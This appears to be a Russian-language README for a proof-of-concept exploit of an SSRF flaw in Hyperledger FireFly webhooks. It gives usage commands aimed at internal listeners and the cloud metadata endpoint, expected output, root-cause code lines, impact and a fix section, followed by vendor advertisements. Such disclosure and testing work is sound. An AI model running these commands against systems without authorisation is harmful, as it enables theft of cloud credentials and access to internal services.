
Эксплойт proof-of-concept для CVE-2026-82957 — SSRF в подписках на вебхуки Hyperledger FireFly, который заставляет узел запрашивать внутренние URL-адреса или URL-адреса облачных метаданных.
Эксплойт proof-of-concept для CVE-2026-82957 — Server-Side Request Forgery (CWE-918) в транспорте событий webhooks Hyperledger FireFly Core. Любой клиент, способный создать подписку на события, может зарегистрировать вебхук, целевой URL которого никогда не проверяется — при наступлении соответствующего события сам узел FireFly выполняет HTTP-запрос. Направление его на адреса, доступные только изнутри (метаданные облака, loopback, сервисы RFC1918), превращает узел в confused deputy.
Только стандартная библиотека Python 3 — без зависимостей.
$ python3 cve_2026_82957.py --help
Шаг 1 — запустите слушатель на машине, к которой должен обратиться узел FireFly (жертва SSRF):
$ python3 -m http.server 8000 --bind 0.0.0.0
Шаг 2 — запустите эксплойт. -t — базовый URL FireFly API, -u — URL, который узел будет вынужден запросить:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Для узла FireFly, работающего в Docker, <host-ip> — это шлюз мостовой сети; найдите его с помощью docker network inspect <network> (поле IPAM.Config.Gateway, например 172.21.0.1).
Ожидаемый вывод:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
Лог слушателя — исходный IP-адрес — это IP-адрес контейнера узла FireFly, а не машина атакующего, что доказывает, что запрос был подделан сервером. SSRF подтверждён:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 («Базовая реализация вызова webhooks», 2021-06-20)e3c9b8d89 (main) — ни один коммит между этими двумя не добавляет проверку хостаФайл: internal/events/webhooks/webhooks.go
| Строка | Код | Проблема |
|---|---|---|
| 191 | url: options.GetString("url") | цель берётся дословно из пользовательского ввода |
| 266 | ValidateOptions(...) | проверяет формат/заголовки/таймауты, но никогда не проверяет хост |
| 394 | req.r.Execute(req.method, req.url) | запрос отправляется |
Для разрешённого адреса назначения нет ни allowlist, ни denylist: нет блокировки loopback-, приватных (RFC1918) или link-local (169.254.0.0/16) адресов, а и хост, и схема полностью контролируются атакующим. FireFly по умолчанию не поставляет плагин аутентификации API, поэтому создание подписки может быть неаутентифицированным.
POST /api/v1/namespaces/{ns}/subscriptions — создаёт вредоносный webhook (возвращает 201 Created для внутренних URL)POST /api/v1/namespaces/{ns}/messages/broadcast) — запускает подделанный запросCWE-918 Server-Side Request Forgery. Атакующий может:
169.254.169.254) → эскалация до облачной учётной записи"reply": true внутренний ответ возвращается атакующему как событие FireFly — это не blind-SSRF~8.5 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — серьёзность зависит от того, находится ли API за аутентификацией.
В ValidateOptions разобрать URL, разрешить хост и отклонять loopback/приватные/link-local/неопределённые адреса; ограничить схему значениями http/https; повторно проверять разрешённый IP во время соединения (кастомный DialContext), чтобы противостоять DNS-rebinding; предпочтительно предоставить настраиваемый allowlist разрешённых хостов webhook.
Этот инструмент предназначен только для образовательных и исследовательских целей. Используйте его только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не несёт ответственности за любое неправомерное использование или ущерб, вызванный этой программой.
QuimeraX Intelligence — это продвинутая платформа EASM и Cyber Threat Intelligence, специализирующаяся на выявлении критических уязвимостей в сложных системах. Платформа проактивно отслеживает, обнаруживает и оповещает клиентов об угрозах безопасности, обеспечивая прозрачность и быструю реакцию на потенциальные риски. Клиенты получают немедленные уведомления и подробные отчёты, если их системы оказываются уязвимыми, что позволяет им принимать защитные меры. узнать больше
Hakai Security — компания в сфере кибербезопасности, основанная специалистами по безопасности и приверженная техническому совершенству. Мы предлагаем индивидуальные решения по безопасности, включая продвинутое тестирование на проникновение, реалистичные симуляции Red Team и практики безопасной разработки, чтобы проактивно защищать активы наших клиентов от развивающихся киберугроз.
Hacking Club — это обучающая платформа, где вы изучаете кибербезопасность через практические уроки, лаборатории и задачи, созданные экспертами, работающими в нашей консалтинговой компании по безопасности: прямо с поля боя — в ваше обучение.